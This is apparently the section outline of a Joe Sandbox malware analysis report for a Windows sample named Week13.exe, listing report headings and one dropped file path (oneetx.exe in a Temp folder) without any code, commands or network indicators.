Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe

C:\Users\user\AppData\Local\Temp\cb7ae701b3\oneetx.exe:Zone.Identifier

\Device\ConDrv

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Suricata IDS Alerts

Windows Analysis Report
Week13.exe